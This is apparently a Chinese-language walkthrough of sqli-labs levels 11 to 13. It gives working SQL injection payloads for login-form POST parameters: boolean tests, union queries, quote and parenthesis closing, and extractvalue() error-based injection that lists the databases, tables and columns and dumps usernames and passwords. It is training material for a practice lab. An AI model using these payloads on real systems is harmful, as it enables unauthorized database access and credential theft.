sqli-labs(11-20)
less-11
本關還可以使用union聯合查詢注入和盲注
(1)使用burpsuite抓包,修改引數構造payload。
輸入uname=admin' and 1=1--+&passwd=admin&submit=Submit
可以登入
(2)輸入uname=admin' and 1=2--+&passwd=admin&submit=Submit
發現無法登入,說明注入有效,存在報錯型注入,接下來又是重複性的工作,上extractvalue()
(3)爆庫
uname=admin' and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)))--+&passwd=admin&submit=Submit //通過不斷改變limit x,1中x的值就可以爆出資料庫中所以的庫
(4)檢視當前資料庫
uname=admin' and extractvalue(1,concat(0x7e,(select database())))--+&passwd=admin&submit=Submit
(5)爆表
uname=admin' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)))--+&passwd=admin&submit=Submit
(6)爆列
uname=admin' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)))--+&passwd=admin&submit=Submit
(7)爆資料
uname=admin' and extractvalue(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1)))--+&passwd=admin&submit=Submit
less-12
1、union聯合查詢注入
和less-11差不多,改一下閉合方式即可。使用雙引號和括號進行閉合
uname=0") union select database(),user()--+&passwd=admin&submit=Submit
2、報錯注入
報錯注入和less-11不太一樣。檢視原始碼
(1)可以看到sql查詢語句語句:@sql="SELECT username,password FROM users WHERE username=($uname) and password=($password) LIMIT 0,1";構造一個能閉合語句而且會報錯的payload:admin" and extractvalue(1,concat(0x7e,(select database()))) and "
(2)最終admin="admin" and extractvalue(1,concat(0x7e,(select database()))) and " "
傳入後就變成了:@sql="SELECT username,password FROM users WHERE username="admin" and extractvalue(1,concat(0x7e,(select database()))) and " "and password=($passwd) LIMIT 0,1";
前閉合,中間查詢,後面報錯,應該是沒有問題的這樣可以回顯:uname=admin" and " &passwd=123456&submit=Submit
(3)使用extractvalue進行報錯注入。
uname=admin" and extractvalue(1,concat(0x7e,database())) and " &passwd=123456&submit=Submit
後面老一套就不再重複了
less-13
登入之後發現沒有回顯資訊,所以union聯合注入行不通了,只能通過報錯注入和盲注
1、報錯注入
uname=admin') and extractvalue(1,concat(0x7e,database())) and ('&passwd=123456&submit=Submit
後面過程和前面一樣